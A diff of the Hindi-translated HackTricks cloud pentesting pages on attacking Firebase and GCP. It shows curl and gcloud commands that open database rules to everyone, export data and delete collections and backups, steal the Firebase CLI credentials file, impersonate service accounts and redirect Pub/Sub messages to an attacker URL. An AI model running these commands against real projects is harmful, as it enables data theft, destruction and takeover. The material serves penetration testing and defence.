+curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"rules": {
+".read": true,
+".write": true
+}
+}'
+```
+Cloud Firestore नियमों को संशोधित करने के लिए, हमलावर को एक ruleset बनाना होगा और फिर उसे तैनात करना होगा:
+```bash
+curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"source": {
+"files": [{
+"name": "firestore.rules",
+"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
+}]
+}
+}'
+```
+पिछला कमांड projects/<project-id>/rulesets/<ruleset-id> फ़ॉर्मेट में एक ruleset नाम लौटाता है। नया संस्करण तैनात करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:
+```bash
+curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"release": {
+"name": "projects/<project-id>/releases/cloud.firestore",
+"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
+}
+}'
+```
+Firebase Cloud Storage नियमों को संशोधित करने के लिए:
+```bash
+curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"source": {
+"files": [{
+"name": "storage.rules",
+"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
+}]
+}
+}'
+```
+पिछला कमांड projects/<project-id>/rulesets/<ruleset-id> फॉर्मेट में एक ruleset नाम लौटाता है। नए संस्करण को तैनात करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:
+```bash
+curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
+-H "Authorization: Bearer $ACCESS_TOKEN" \
+-H "Content-Type: application/json" \
+-d '{
+"release": {
+"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
+"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
+}
+}'
+```
+### Data exfiltration and manipulation in Cloud Firestore
+Cloud Firestore वही infrastructure और permission system उपयोग करता है जो Cloud Datastore में होता है, इसलिए Datastore IAM permissions सीधे Firestore पर लागू होते हैं। TTL policies को मैनीपुलेट करने के लिए `datastore.indexes.update` permission आवश्यक है। डेटा export करने के लिए `datastore.databases.export` permission आवश्यक है। डेटा import करने के लिए the datastore.databases.import permission आवश्यक है। bulk data deletion करने के लिए `datastore.databases.bulkDelete` permission आवश्यक है।
+
+Backup और restore ऑपरेशन्स के लिए, specific permissions की आवश्यकता होती है:
+
+- `datastore.backups.get` और `datastore.backups.list` उपलब्ध backups की सूची बनाने और उनके विवरण प्राप्त करने के लिए
+- `datastore.backups.delete` backups को delete करने के लिए
+- `datastore.backups.restoreDatabase` किसी backup से database restore करने के लिए
+- `datastore.backupSchedules.create` और `datastore.backupSchedules.delete` backup schedules को manage करने के लिए
+
+जब कोई TTL policy बनाई जाती है, तो उन entities की पहचान के लिए एक निर्दिष्ट property चुनी जाती है जो deletion के लिए eligible होंगी। यह TTL property Date and time type की होनी चाहिए। Attacker किसी ऐसी property चुन सकता है जो पहले से मौजूद हो या कोई property designate कर सकता है जिसे वह बाद में जोड़ने का प्लान कर रहा हो। अगर field का value past में कोई date है, तो document तुरंत deletion के लिए eligible हो जाता है। Attacker TTL policies को मैनीपुलेट करने के लिए gcloud CLI का उपयोग कर सकता है।
+```bash
+# Enable TTL
+gcloud firestore fields ttls update expireAt \
+--collection-group=users \
+--enable-ttl
+# Disable TTL
+gcloud firestore fields ttls update expireAt \
+--collection-group=users \
+--disable-ttl
+```
+डेटा निर्यात करने और उसे exfiltrate करने के लिए, हमलावर gcloud CLI का उपयोग कर सकता है।
+```bash
+gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
+```
+दुर्भावनापूर्ण डेटा आयात करने के लिए:
+```bash
+gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
+```
+बड़ी मात्रा में डेटा हटाने और एक denial of service पैदा करने के लिए, हमलावर पूरे collections को हटाने के लिए gcloud Firestore bulk-delete tool का उपयोग कर सकता है।
+```bash
+gcloud firestore bulk-delete \
+--collection-ids=users,posts,messages \
+--database='(default)' \
+--project=<project-id>
+```
+बैकअप और पुनर्स्थापन ऑपरेशनों के लिए, हमलावर वर्तमान database की स्थिति कैप्चर करने के लिए scheduled backups बना सकता है, existing backups को सूचीबद्ध कर सकता है, हालिया परिवर्तनों को ओवरराइट करने के लिए किसी backup से restore कर सकता है, स्थायी डेटा हानि के लिए backups को delete कर सकता है, और scheduled backups को हटाया भी जा सकता है।
+तुरंत एक backup जनरेट करने वाला daily backup schedule बनाने के लिए:
+```bash
+gcloud firestore backups schedules create \
+--database='(default)' \
+--recurrence=daily \
+--retention=14w \
+--project=<project-id>
+```
+किसी विशिष्ट बैकअप से restore करने के लिए, attacker उस बैकअप में मौजूद डेटा का उपयोग करके एक नया database बना सकता है। restore ऑपरेशन बैकअप का डेटा एक नए database में लिखता है, यानी मौजूदा DATABASE_ID का उपयोग नहीं किया जा सकता।
+```bash
+gcloud firestore databases restore \
+--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
+--destination-database='<new-database-id>' \
+--project=<project-id>
+```
+बैकअप को हटाने और स्थायी डेटा हानि का कारण बनने के लिए:
+```bash
+gcloud firestore backups delete \
+--backup=<backup-id> \
+--project=<project-id>
+```
+### Firebase CLI credentials की चोरी और दुरुपयोग
+एक attacker को इस हमला करने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती, लेकिन उसे developer के local system या Firebase CLI credentials file तक पहुँच चाहिए। ये credentials एक JSON फ़ाइल में स्टोर होते हैं, जो इस लोकेशन पर स्थित है:
+
+- Linux/macOS: ~/.config/configstore/firebase-tools.json
+
+- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
+
+इस फ़ाइल में authentication tokens होते हैं, जिनमें refresh_token और access_token शामिल हैं, जो attacker को उसी user के रूप में authenticate करने की अनुमति देते हैं जिसने मूल रूप से firebase login चलाया था।
+
+attacker Firebase CLI credentials file तक पहुँच प्राप्त कर लेता है। वे फिर पूरी फ़ाइल अपनी मशीन पर कॉपी कर सकते हैं, और Firebase CLI डिफ़ॉल्ट लोकेशन से स्वतः ही उन credentials का उपयोग करेगा। ऐसा करने के बाद attacker उस user के लिए उपलब्ध सभी Firebase projects देख सकता है।
+```bash
+firebase projects:list
+```
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md

@@ -4,7 +4,7 @@
 
 ## IAM
 
-IAM के बारे में अधिक जानकारी के लिए देखें:
+Find more information about IAM in:
 
 {{#ref}}
 ../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,54 +12,51 @@ IAM के बारे में अधिक जानकारी के ल
 
 ### `iam.roles.update` (`iam.roles.get`)
 
-उल्लेखित permissions वाले attacker आपके लिए असाइन किए गए role को अपडेट कर सकेंगे और आपको अन्य resources जैसे अतिरिक्त permissions दे सकेंगे:
+उक्त permissions वाले attacker आपके लिए assigned role को update कर सकेगा और आपको अन्य resources के लिए extra permissions दे सकेगा, जैसे:
-
-<details><summary>IAM role को अपडेट करके permissions जोड़ें</summary>
 ```bash
 gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
 ```
-</details>
+आप यहाँ एक स्क्रिप्ट पा सकते हैं जो **creation, exploit and cleaning of a vuln environment here** को स्वचालित करती है और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
-
+```bash
-आप एक स्क्रिप्ट पा सकते हैं जो vuln environment की **creation, exploit and cleaning** को automate करती है और इस privilege का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
+gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
-
+```
+### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
+iam.roles.create permission किसी प्रोजेक्ट/ऑर्गनाइज़ेशन में custom roles बनाने की अनुमति देती है। attacker के हाथों में यह खतरनाक है क्योंकि इससे वे नए permission सेट परिभाषित कर सकते हैं जिन्हें बाद में entities को सौंपा जा सकता है (उदाहरण के लिए, iam.serviceAccounts.setIamPolicy permission का उपयोग करके) with the goal of escalating privileges.
+```bash
+gcloud iam roles create <ROLE_ID> \
+--project=<PROJECT_ID> \
+--title="<Title>" \
+--description="<Description>" \
+--permissions="permission1,permission2,permission3"
+```
 ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
 
-उल्लेखित permissions वाले attacker किसी Service Account के लिए **access token request** कर पाएगा, इसलिए यह संभव है कि हमसे अधिक privileges वाले Service Account का access token प्राप्त किया जा सके।
+उक्त अनुमतियाँ रखने वाला हमलावर **Service Account का access token अनुरोध कर सकेगा**, इसलिए यह संभव है कि वह हमारी तुलना में अधिक अधिकारों वाले Service Account का access token अनुरोध कर ले।
-
-<details><summary>Impersonate service account to get access token</summary>
 ```bash
 gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
 auth print-access-token
 ```
-</details>
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
-
-आप एक स्क्रिप्ट पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) को ऑटोमेट करती है और इस privilege को दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) मौजूद है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
 
 ### `iam.serviceAccountKeys.create`
 
-उल्लेखित अनुमतियाँ रखने वाला एक हमलावर **create a user-managed key for a Service Account** कर सकेगा, जिससे हम उस Service Account के रूप में GCP में access कर सकेंगे।
+उल्लिखित अनुमतियों वाले एक हमलावर को **Service Account के लिए user-managed key create** करने में सक्षम होंगे, जिससे हम उस Service Account के रूप में GCP तक पहुँच सकेंगे।
-
-<details><summary>Service Account की कुंजी बनाएँ और प्रमाणीकरण करें</summary>
 ```bash
 gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
 
 gcloud auth activate-service-account --key-file=sa_cred.json
 ```
-</details>
-
 You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
 
-ध्यान दें कि **`iam.serviceAccountKeys.update`** किसी SA की key को संशोधित करने के लिए काम नहीं करेगा क्योंकि उसके लिए अनुमति **`iam.serviceAccountKeys.create`** भी आवश्यक है।
+ध्यान दें कि **`iam.serviceAccountKeys.update` किसी SA की key को बदलने के लिए काम नहीं करेगा** क्योंकि ऐसा करने के लिए `iam.serviceAccountKeys.create` permission भी चाहिए।
 
 ### `iam.serviceAccounts.implicitDelegation`
 
-यदि आपके पास किसी Service Account पर **`iam.serviceAccounts.implicitDelegation`** permission है और उस Service Account के पास किसी तीसरे Service Account पर **`iam.serviceAccounts.getAccessToken`** permission है, तो आप implicitDelegation का उपयोग करके उस तीसरे Service Account के लिए **token बना** सकते हैं। समझाने में मदद के लिए यहाँ एक डायग्राम है।
+यदि आपके पास किसी Service Account पर **`iam.serviceAccounts.implicitDelegation`** permission है और वह Service Account किसी तीसरे Service Account पर **`iam.serviceAccounts.getAccessToken`** permission रखता है, तो आप implicitDelegation का उपयोग करके उस तीसरे Service Account के लिए **token बना सकते हैं**। समझाने के लिए यहाँ एक डायग्राम है।
 
 ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
 
-ध्यान दें कि [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` की delegation केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) मेथड का उपयोग करके token जनरेट करने के काम आती है। तो यहाँ बताया गया है कि API का उपयोग करके सीधे token कैसे प्राप्त किया जाए:
+ध्यान दें कि [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` की delegation केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) मेथड का उपयोग करके token जनरेट करने के लिए काम करती है। इसलिए यहाँ बताया गया है कि API का उपयोग करके सीधे token कैसे प्राप्त करें:
-
-<details><summary>API का उपयोग करके delegation के साथ access token जनरेट करें</summary>
 ```bash
 curl -X POST \
 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
 "scope": ["https://www.googleapis.com/auth/cloud-platform"]
 }'
 ```
-</details>
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
-
-आप [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) में vuln environment के निर्माण, exploit और क्लीनिंग को ऑटोमेट करने वाली स्क्रिप्ट पा सकते हैं और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) में है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
 
 ### `iam.serviceAccounts.signBlob`
 
-उक्त permissions वाले attacker GCP में arbitrary payloads को साइन कर सकेंगे। इसलिए यह संभव होगा कि हम target SA का unsigned JWT बनाकर उसे blob के रूप में भेजें ताकि लक्षित SA JWT को साइन कर दे। अधिक जानकारी के लिए [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed) देखें।
+उल्लिखित permissions वाले एक attacker GCP में **arbitrary payloads पर sign** कर पाएगा। इसलिए यह संभव होगा कि हम **टारगेट किए गए SA का एक unsigned JWT बनाकर उसे एक blob के रूप में भेजें ताकि वह SA JWT पर साइन कर दे**। अधिक जानकारी के लिए [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
 
-आप [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) में vuln environment के निर्माण, exploit और क्लीनिंग को ऑटोमेट करने वाली स्क्रिप्ट पा सकते हैं और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) और [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) में है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
 
 ### `iam.serviceAccounts.signJwt`
 
-उक्त permissions वाला attacker अच्छी तरह से बने JSON web tokens (JWTs) को साइन कर सकता है। पिछले तरीके से फर्क यह है कि **ब्लॉब में JWT रखकर google से साइन करवाने के बजाय हम signJWT method का उपयोग करते हैं जो पहले से ही एक JWT की अपेक्षा करता है**। इससे उपयोग करना आसान होता है पर आप केवल JWTs ही साइन कर सकते हैं, किसी भी बाइट्स को नहीं।
+उल्लिखित permissions वाले एक attacker **well-formed JSON web tokens (JWTs) पर sign** कर पाएगा। पिछले method से फर्क यह है कि **blob को साइन करवाने के बजाय हम signJWT method का उपयोग करते हैं जो पहले से ही एक JWT की अपेक्षा करता है**। इससे उपयोग करना आसान हो जाता है लेकिन आप किसी भी bytes की बजाय केवल JWTs ही साइन कर सकते हैं।
 
-आप [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) में vuln environment के निर्माण, exploit और क्लीनिंग को ऑटोमेट करने वाली स्क्रिप्ट पा सकते हैं और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) में है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
 
 ### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
 
-उक्त permissions वाला attacker service accounts पर IAM policies जोड़ सकता है। आप इसे अपने आप को impersonate करने के लिए आवश्यक permissions देने के लिए दुरुपयोग कर सकते हैं। नीचे दिए गए उदाहरण में हम अपने आप को `roles/iam.serviceAccountTokenCreator` role उस रुचिकर SA पर दे रहे हैं:
+उल्लिखित permissions वाले एक attacker **service accounts पर IAM policies जोड़** सकेंगे। आप इसका दुरुपयोग करके खुद को वे permissions दे सकते हैं जिनकी आपको किसी service account को impersonate करने के लिए आवश्यकता है। निम्न उदाहरण में हम अपने आप को टारगेट SA पर `roles/iam.serviceAccountTokenCreator` role दे रहे हैं:
-
-<details><summary>Service account पर IAM policy binding जोड़ें</summary>
 ```bash
 gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
 --member="user:username@domain.com" \
@@ -101,55 +94,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
 --member="user:username@domain.com" \
 --role="roles/iam.serviceAccountUser"
 ```
-</details>
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
-
-आप इस स्क्रिप्ट को पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)** को ऑटोमेट करती है।**
 
 ### `iam.serviceAccounts.actAs`
 
-**iam.serviceAccounts.actAs permission** iam:PassRole permission from AWS की तरह है। यह Compute Engine instance शुरू करने जैसे कार्यों को एक Service Account के रूप में करने की क्षमता देता है — यानी एक Service Account के रूप में "actAs" करने की अनुमति, जिससे permissions का सुरक्षित प्रबंधन सुनिश्चित होता है। इसके बिना, उपयोगकर्ता अनुचित पहुँच प्राप्त कर सकते हैं। इसके अलावा, iam.serviceAccounts.actAs का शोषण करने के कई तरीके हैं, जिनमें विभिन्न permissions की आवश्यकता होती है, जबकि अन्य तरीकों में केवल एक permission ही चाहिए होता है।
+The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. यह Compute Engine instance जैसे कार्यों को चलाने के लिए आवश्यक है, क्योंकि यह किसी Service Account के रूप में "actAs" करने की क्षमता प्रदान करता है और permissions के सुरक्षित प्रबंधन को सुनिश्चित करता है। इसके बिना users अनुचित पहुँच प्राप्त कर सकते हैं। अतिरिक्त रूप से, **iam.serviceAccounts.actAs** का शोषण कई तरीकों से किया जा सकता है, जिनमें हर एक के लिए अलग-अलग permissions की आवश्यकता होती है, जबकि कुछ अन्य तरीकों के लिए सिर्फ एक permission काफी होता है।
 
 #### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
 
-Service account को impersonate करना नई और बेहतर privileges प्राप्त करने के लिए बहुत उपयोगी हो सकता है। आप किसी अन्य service account को impersonate करने के तीन तरीके हैं: https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account
+Service account की impersonation नए और बेहतर privileges प्राप्त करने के लिए बहुत उपयोगी हो सकती है। आप तीन तरीकों से [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
 
-- प्रमाणीकरण (प्रमाणिकरण) RSA private keys का उपयोग करके (ऊपर कवर किया गया)
+- Authentication **using RSA private keys** (covered above)
-- प्राधिकरण (authorization) Cloud IAM policies का उपयोग करके (यहाँ कवर किया गया)
+- Authorization **using Cloud IAM policies** (covered here)
-- GCP services पर jobs तैनात करना (यह ज़्यादा applicable है user account के compromise के संदर्भ में)
+- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
 
 ### `iam.serviceAccounts.getOpenIdToken`
 
-उल्लिखित permissions वाले एक attacker OpenID JWT जेनरेट कर पाएगा। OpenID JWT identity को assert करने के लिए उपयोग होते हैं और आवश्यक नहीं कि ये किसी संसाधन के खिलाफ कोई निहित प्राधिकरण प्रदान करें।
+उल्लेखित permissions वाले attacker OpenID JWT generate कर पाएंगे। इन्हें identity assert करने के लिए उपयोग किया जाता है और ये आवश्यक रूप से किसी resource के खिलाफ implicit authorization नहीं देते।
 
-According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), यह आवश्यक है कि आप audience (जिस service पर आप token का उपयोग करके authenticate करना चाहते हैं) बताएं और आपको google द्वारा sign किया हुआ एक JWT मिलेगा जो service account और JWT के audience को दर्शाता है।
+According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), audience (जिस service पर आप token का उपयोग करके authenticate करना चाहते हैं) बताना ज़रूरी है और आपको google द्वारा sign किया गया एक JWT मिलेगा जो service account और JWT के audience को दर्शाता है।
 
-You can generate an OpenIDToken (if you have the access) with:
+यदि आपके पास access है तो आप OpenIDToken निम्न के साथ generate कर सकते हैं:
-
-<details><summary>Service account के लिए OpenID token जेनरेट करें</summary>
 ```bash
 # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
 gcloud auth activate-service-account --key-file=/path/to/svc_account.json
 # Then, generate token
 gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
 ```
-</details>
+फिर आप बस इसका उपयोग सेवा तक पहुँचने के लिए कर सकते हैं:
-
-फिर आप बस इसका उपयोग करके सेवा तक पहुँच सकते हैं:
-
-<details><summary>Use OpenID token to authenticate</summary>
 ```bash
 curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
 ```
-</details>
+कुछ सेवाएँ जो इस प्रकार के tokens के माध्यम से authentication का समर्थन करती हैं:
-
-ऐसी कुछ सेवाएँ जो इस तरह के tokens के माध्यम से authentication का समर्थन करती हैं:
 
 - [Google Cloud Run](https://cloud.google.com/run/)
 - [Google Cloud Functions](https://cloud.google.com/functions/docs/)
 - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
 - [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
 
-You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
+आप उदाहरण देख सकते हैं कि एक service account की ओर से OpenID token कैसे बनाया जाए [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
 
 ## संदर्भ
 

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md

@@ -4,34 +4,67 @@
 
 ## PubSub
 
-अधिक जानकारी प्राप्त करें:
+अधिक जानकारी के लिए देखें:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
 {{#endref}}
 
-### `pubsub.snapshots.create`
+### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
-
-विषयों के स्नैपशॉट्स **वर्तमान अनACKed संदेशों और इसके बाद के प्रत्येक संदेश को शामिल करते हैं**। आप एक विषय का स्नैपशॉट बना सकते हैं **सभी संदेशों तक पहुँचने के लिए**, **विषय को सीधे एक्सेस करने से बचते हुए**।
 
+topics के snapshots **वर्तमान unACKed संदेश और उसके बाद आने वाले प्रत्येक संदेश को समाहित करते हैं**। आप किसी topic का snapshot बनाकर **सभी संदेशों तक पहुँच सकते हैं**, **topic तक सीधे पहुँच की आवश्यकता से बचते हुए**।
+```bash
+gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
+```
 ### **`pubsub.snapshots.setIamPolicy`**
 
-आपको पिछले अनुमतियाँ सौंपें।
+पहले दिए गए permissions को स्वयं को असाइन करें.
 
 ### `pubsub.subscriptions.create`
 
-आप एक पुश सब्सक्रिप्शन बना सकते हैं जो सभी प्राप्त संदेशों को निर्दिष्ट URL पर भेजेगा।
+आप एक topic में push subscription बना सकते हैं जो प्राप्त सभी messages को निर्दिष्ट URL पर भेजेगा
 
 ### **`pubsub.subscriptions.update`**
 
-संदेशों को चुराने के लिए अपने स्वयं के URL को पुश एंडपॉइंट के रूप में सेट करें।
+अपने URL को push endpoint के रूप में सेट करके messages चुरा सकते हैं.
 
 ### `pubsub.subscriptions.consume`
 
-सब्सक्रिप्शन का उपयोग करके संदेशों तक पहुँचें।
+subscription का उपयोग करके messages तक पहुँचें.
-
+```bash
+gcloud pubsub subscriptions pull <SUSCRIPTION> \
+--limit=50 \
+--format="json" \
+--project=<PROJECTID>
+```
 ### `pubsub.subscriptions.setIamPolicy`
 
-अपने लिए किसी भी पिछले अनुमतियों को दें।
+खुद को किसी भी पहले की अनुमति दें
+```bash
+# Add Binding
+gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"
 
+# Remove Binding
+gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"
+
+# Change Policy
+gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
+<(echo '{
+"bindings": [
+{
+"role": "<ROLE_OR_CUSTOM_ROLE>",
+"members": [
+"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
+]
+}
+]
+}') \
+--project=<PROJECT_ID>
+```
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md

@@ -12,18 +12,15 @@ Cloud Run के बारे में अधिक जानकारी क
 
